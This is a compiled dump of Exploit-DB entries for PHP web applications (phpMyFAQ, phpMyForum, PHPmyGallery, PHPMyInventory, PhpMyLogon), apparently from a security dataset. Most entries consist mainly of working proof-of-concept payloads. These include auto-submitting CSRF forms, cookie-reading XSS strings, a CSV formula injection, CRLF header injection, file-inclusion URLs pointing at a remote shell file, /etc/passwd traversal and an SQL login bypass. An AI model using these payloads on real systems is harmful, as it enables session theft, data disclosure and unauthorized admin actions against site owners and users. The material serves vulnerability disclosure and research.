deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43064
Description: phpMyFAQ 2.9.8 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-10-27
Author: Nikhil Mittal

Exploit:
# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability 
# Date: 27-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730

1. Description

In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.

2. Proof of concept

    <html>
    <head>
    <title>PHPMYSQL CSRF EXPLOIT</title>
    </head>
    <body>
    <a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
    </body>
    </html>


3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
Exploit-DB #52459
Description: phpMyFAQ 2.9.8 - Cross-Site Request Forgery(CSRF)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: phpMyFAQ 2.9.8 - Cross-Site Request Forgery(CSRF) 
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ
# Software Link: https://github.com/thorsten/phpMyFAQ
# Version: 2.9.8
# Tested on: Ubuntu Windows
# CVE : CVE-2017-15734

PoC: 
Get http://phpmyfaq/admin/index.php?action=clear-visits
Reproduction: While still logged in, open another browser window to access the link.

Some Details:
{
    "Protection Mechanisms Before Patch": "No CSRF token validation was implemented in the 'clear-visits' action within the stat.main.php file, allowing requests to be made without verifying the authenticity of the request origin.",
    "File Navigation Chain": "Public Access Entry URL: http://phpmyfaq/admin/index.php -> Vulnerable File: phpmyfaq/admin/stat.main.php",
    "Execution Path Constraints": "The user must be authenticated and possess the appropriate permissions to access the 'clear-visits' action. The navigation to the vulnerable file relies on the 'action' parameter within the admin index.php file, which must be set to 'clear-visits'.",
    "Request Parameters": "action=clear-visits",
    "Request Method": "GET",
    "Request URL": "http://phpmyfaq/admin/index.php?action=clear-visits",
    "Final PoC": "<html>\n  <body>\n    <form action=\"http://phpmyfaq/admin/index.php?action=clear-visits\" method=\"GET\">\n      <input type=\"submit\" value=\"Submit request\">\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>"
}


[Replace Your Domain Name]
Exploit-DB #42761
Description: PHPMyFAQ 2.9.8 - Cross-Site Scripting (1)
Type: webapps
Platform: php
Date: 2017-09-21
Author: Ishaq Mohammed

Exploit:
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# CVE: CVE-2017-14618

1. Description

Cross-site scripting (XSS) vulnerability in inc/PMF/Faq.php in phpMyFAQ
through 2.9.8 allows remote attackers to inject arbitrary web script or
HTML via the Questions field in an "Add New FAQ" action.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14618
https://securityprince.blogspot.fr/2017/10/cve-2017-14618-phpmyfaq-298-cross-site.html

2. Proof of Concept

Steps to Reproduce:

   1. Open the affected link "
   http://localhost/phpmyfaq/admin/?action=editentry" with logged in user
   with administrator privileges
   2. Enter the <a onmouseover=alert(document.cookie)>xss link</a> in the
   “Questions”
   3. Save the FAQ
   4. Login using any other user or simply click on the phpMyFAQ on the
   top-right hand side of the web portal
   5. Click on the latest FAQ added
   6. Hover around the name "xss link"


3. Solution:

This vulnerability will be fixed in phpMyFAQ 2.9.9
Exploit-DB #42987
Description: phpMyFAQ 2.9.8 - Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2017-10-13
Author: Ishaq Mohammed

Exploit:
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# CVE: CVE-2017-14619

1. Description

Cross-site scripting (XSS) vulnerability in phpMyFAQ through 2.9.8 allows
remote attackers to inject arbitrary web script or HTML via the "Title of
your FAQ" field in the Configuration Module.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619
https://securityprince.blogspot.fr/2017/10/cve-2017-14619-phpmyfaq-298-cross-site_92.html

2. Proof of Concept

Steps to Reproduce:

   1. Open the affected link http://localhost/phpmyfaq/admin/?action=config
   with logged in user with administrator privileges
   2. Enter the <marquee onscroll=alert(document.cookie)> in the “Title of
   your FAQ field”
   3. Save the Configuration
   4. Login using any other user or simply click on the phpMyFAQ on the
   top-right hand side of the web portal


3. Solution:

The Vulnerability will be fixed in the next release of phpMyFAQ
Exploit-DB #43063
Description: PHPMyFAQ 2.9.8 - Cross-Site Scripting (3)
Type: webapps
Platform: php
Date: 2017-10-28
Author: Nikhil Mittal

Exploit:
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability 
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

    <!DOCTYPE html>
    <html>
    <head>
    <title>XSS EXPLOIT</title>
    </head>
    <body>
    <script>confirm(document.cookie)</script>
    </body>
    </html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section 
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage 

3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
Exploit-DB #52226
Description: phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-16
Author: CodeSecLab

Exploit:
# Exploit Title: phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ
# Software Link: https://github.com/thorsten/phpMyFAQ
# Version: 3.1.7
# Tested on: Ubuntu Windows
# CVE : CVE-2022-4407

PoC: 
Get: http://127.0.0.1/phpmyfaq/admin/index.php?action=\"><script>alert('XSS')</script>

Details: 
{
    "Sink": "phpmyfaq/admin/header.php - HTML attribute in the form action parameter",
    "Vulnerable Variable": "action",
    "Source": "phpmyfaq/admin/index.php - Filter::filterInput(INPUT_GET, 'action', FILTER_UNSAFE_RAW)",
    "Sanitization Mechanisms Before Patch": "None - Input directly used without escaping or encoding in the HTML attribute",
    "Sink Context Constraints": "HTML attribute context - needs proper escaping to break out of attribute",
    "Attack Payload": "\"><script>alert('XSS')</script>",
    "Execution Path Constraints": "The 'action' parameter must be passed via GET or POST without prior sanitization or if it is null, it must be taken from 'redirect-action' parameter unless it equals 'logout'",
    "Request Parameters": "action",
    "Request URL": "http://127.0.0.1/phpmyfaq/admin/index.php?action=\"><script>alert('XSS')</script>",
    "Request Method": "GET",
    "Final PoC": "http://127.0.0.1/phpmyfaq/admin/index.php?action=\"><script>alert('XSS')</script>"
}

[Replace Your Domain Name]
Exploit-DB #52235
Description: phpMyFAQ 3.2.10 - Unintended File Download Triggered by Embedded Frames
Type: webapps
Platform: php
Date: 2025-04-16
Author: Geo

Exploit:
# Exploit Title: phpMyFAQ v3.2.10 - Unintended File Download Triggered by Embedded Frames
# Date: 13 Dec 2024
# Exploit Author: George Chen
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ/
# Software Link: https://github.com/thorsten/phpMyFAQ/
# Version: v3.2.10
# Tested on: Mac, Win
# CVE : CVE-2024–55889


*Summary*
A vulnerability exists in the FAQ Record component of
https://github.com/thorsten/phpMyFAQ v3.2.10 where a privileged attacker
can trigger a file download on a victim’s machine upon page visit by
embedding it in an <iframe> element without user interaction or explicit
consent.

*Details*
In http://localhost/admin/index.php?action=editentry&id=20&lang=en, where a
FAQ record is either created or edited, an attacker can insert an iframe,
as “source code”, pointing to a prior “malicious” attachment that the
attacker has uploaded via FAQ “new attachment” upload, such that any page
visits to this FAQ will trigger an automated download (from the edit
screen, download is automated; from the faq page view as a normal user,
depending on the browser, a pop up confirmation may be presented before the
actual download. Firebox browser, for instance, does not require any
interactions).

[image: image.png]

*PoC*

   1. create a new FAQ record and upload a “malicious” file — in my case, I
   uploaded an eicar file. Take note of the uri, ie
   “index.php?action=attachment&id=2”
   2. in the FAQ record, insert a “source code” blob using the “< >” button
   3. insert in the following snippet and save FAQ record:
    <p><iframe src="index.php?action=attachment&id=2"></iframe></p> [image:
   image.png]
   4. Once the edit page reloads, the malicious code will be downloaded
   onto the local machine without user interaction:[image: image.png]

   Advisory:
   https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-m3r7-8gw7-qwvc
   Disclosure: https://geochen.medium.com/cve-2024-55889-03572ae6c35c
Exploit-DB #33385
Description: phpMyFAQ < 2.5.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-01
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37180/info

phpMyFAQ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyFAQ 2.5.5 are vulnerable. 

http://www.example.com/index.php?action=sitemap&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?search=hello"><script>alert(document.cookie)</script>&action=search
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script>
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W"><script>alert(1)</script>&lang=en
http://www.example.com/index.php?sid=7&lang=en"><script>alert(document.cookie)</script>&action=show&cat=1
http://www.example.com/index.php?sid=7&lang=en&action=show&cat=1"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=search&tagging_id=1"><script>alert(1)</script>
http://www.example.com/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en
http://www.example.com/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en
http://www.example.com/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en
http://www.example.com/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en
http://www.example.com/index.php?action=add&question=1&cat=1"><script>alert(1)</script>
http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1
Exploit-DB #51399
Description: phpMyFAQ v3.1.12 - CSV Injection
Type: webapps
Platform: php
Date: 2023-05-02
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: phpMyFAQ v3.1.12 - CSV Injection
Application: phpMyFAQ
Version: 3.1.12
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.phpmyfaq.de/
Software Link: https://download.phpmyfaq.de/phpMyFAQ-3.1.12.zip
Date of found: 21.04.2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to user control panel and change name as =calc|a!z| and save
step 3. If admin Export users as CSV ,in The computer of admin  occurs csv injection and will open calculator

payload: calc|a!z|
Poc video:  https://youtu.be/lXwaexX-1uU
Exploit-DB #27586
Description: PHPMyForum 4.0 - 'index.php?type' CRLF Injection
Type: webapps
Platform: php
Date: 2006-04-10
Author: Psych0

Exploit:
source: https://www.securityfocus.com/bid/17420/info
 
phpMyForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
phpMyForum 4.0 is reported prone to these issues. Other versions may be affected as well.

http://target/path/index.php?template=css&type=some_url%0d%0aSet-Cookie%3Aheader
Exploit-DB #27585
Description: PHPMyForum 4.0 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-10
Author: Psych0

Exploit:
source: https://www.securityfocus.com/bid/17420/info

phpMyForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpMyForum 4.0 is reported prone to these issues. Other versions may be affected as well.

http://target/path/index.php?page=[xsscode]&type=text%2Fcss
Exploit-DB #7392
Description: PHPmyGallery 1.0beta2 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-09
Author: ZoRLu

Exploit:
[~] PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.
[~]
[~] download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.0beta2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

file:

_conf/core/common-tpl-vars.php

c0de:

require($confdir.'lang/langpack.'.$lang.'.php');  ( line 23 )

rfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?confdir=ZoRLu.txt?

lfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?lang=[LFi]

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09]
Exploit-DB #38327
Description: PHPmyGallery 1.5 - Local File Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-21
Author: TheMirkin

Exploit:
source: https://www.securityfocus.com/bid/58081/info

PHPmyGallery is prone to multiple cross-site scripting vulnerabilities and a local file-disclosure vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks

PHPmyGallery 1.51.010 and prior versions are vulnerable. 

http://www.www.example.com/_conf/?action=statistics&filename=2011.10"><script>alert(document.cookie)</script>><marquee><h1>TheMirkin</h1></marquee>

http://www.www.example.com/_conf/?action=delsettings&group="><script>alert(document.cookie)</script>><marquee><h1>TheMirkin</h1></marquee>

http://www.example.com/_conf/?action=delsettings&group=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg&picdir=Sample_Gallery&what=descriptions
Exploit-DB #7399
Description: PHPmyGallery 1.5beta - '/common-tpl-vars.php' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-09
Author: CoBRa_21

Exploit:
*****************************************************************************************

Phpmygallery-1.5beta (common-tpl-vars.php) Multiple Local File Inclusion Vulnerabilities

*****************************************************************************************
 
Script Name: Phpmygallery
 
Version: 1.5beta
 
Autor: CoBRa_21
 
My Site: www.ipbul.org
 
Download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.5beta.zip
 
*****************************************************************************************
 
Exploit:
 
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?conf[lang]= [LFÄ°] (Windows Only)
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?admindir=[RFI]

*****************************************************************************************

Not: TÃ¼m Ä°slam Aleminin Kurban BayramÄ± Mobarek Olsun

*****************************************************************************************

# milw0rm.com [2008-12-09]
Exploit-DB #7377
Description: PHPmyGallery Gold 1.51 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2008-12-07
Author: zAx

Exploit:
            ############### Yee7.Com ###############
             ############### zAx #################
        PHPmyGallery Gold 1.51 (index.php) Folders Disclosure
 -----------------------------------------------------------------------------------------------------------

 [+] Script        : PHPmyGallery Gold 1.51
 [+] Vuln.          : Folders Disclosure
 [+] Download :http://phpmygallery.kapierich.net/en/downloads/
 [+] Discovered By  :         zAx [ThE-zAx@Hotmail.Com]
 [+] Team:  Electronic Security Team (Yee7.Com)

Exploit : http://site/phpmygallery/index.php?group=../somefolder

 [+]Somefolder is any folder in the vulnerable website
 [+] ../ = Up from this folder
 [+] You can see all folders those are in "somefolder"


[+] Important : This vulnerability is Discovered By Yee7-Team, By [ zAx ] and [ ShockShadow ]

# milw0rm.com [2008-12-07]
Exploit-DB #4074
Description: PHPMyInventory 2.8 - 'global.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-16
Author: o0xxdark0o

Exploit:
########################################################################################
phpMyInventory (pmi)
v. 2.8
FOUND BY : o0xxdark0o
                   o0xxdark0o[at]msn.com
DOWNLOAD : http://sourceforge.net/projects/phpmyinventory/
REMOTE FILE ICLUDE
########################################################################################
FILE :
PATH\Includes\global.inc.php
########################################################################################
EXPLOIT:
www.xxx.com/pmi_v28/Includes/global.inc.php?strIncludePrefix=Shell.txt?
########################################################################################
thanks for all my friends.. str0ke ... oxdo .... cold z3ro...keenest
www.hach-teach.org - www.3asfh.com - www.goldenawy.com - www.yee7.com
########################################################################################
CODE:
<?
 // where rare administrative emails will go
 $adminEmail  = "youraddress@yourdomain.com";

 $secureAdmin = 0; # set to 1 if SSL is available
 $sslPort = 443; # what port, if using SSL?

 $rowLimit = 12; # how many records any given page should show at one time

 # -------------------------------------------------------------------- #

 session_register("userID");
 session_register("sessionTime");
 session_register("sessionSecurity");

 // by creating a separate set of includes for different domain names,
 // you can serve multiple PMI's from one codebase.
 //
 // if ($SERVER_NAME = "dev.3gwt.net") {
 //    $includeFolder = "Includes/3gwt";
 // } else if ($SERVER_NAME = "www.foozball.com") {
 //    $includeFolder = "Includes/foozball";
 // } else {
       $includeFolder = "Includes";
 // }

 $strIncludePrefix = $strIncludePrefix.$includeFolder;
 Include($strIncludePrefix."/db.inc.php");
-----there is more of the code download to see it in v. 2.8-----
########################################################################################
BY : o0xxdark0o
      o0xxdark0o@msn.com

# milw0rm.com [2007-06-16]
Exploit-DB #11737
Description: PhpMyLogon 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-14
Author: blake

Exploit:
# Exploit Title: PhpMyLogon SQL Injection
# Date: March 14, 2010
# Author: Blake
# Software Link: http://sourceforge.net/projects/phpmylogon/files/PhpMyLogon/PhpMyLogon%202/phpmylogon2.zip/download
# Version: 2
# Tested on: Windows XP SP3


Proof of Concept:
Enter the following for the username to login as the first user:
blake'  or '1'='1' #
and anything for the password.

Vulnerable Code:
        if(isset($_POST['submit'])) {
            if($_POST['username'] != "" AND $_POST['password'] != "") {
                // Check submitted data with data in database
                $sql = "SELECT id,username,password,cookie_pass,actcode,rank FROM `".$settings['db_table']."` WHERE username = '".$_POST['username']."' LIMIT 1";
                $query = mysql_query($sql);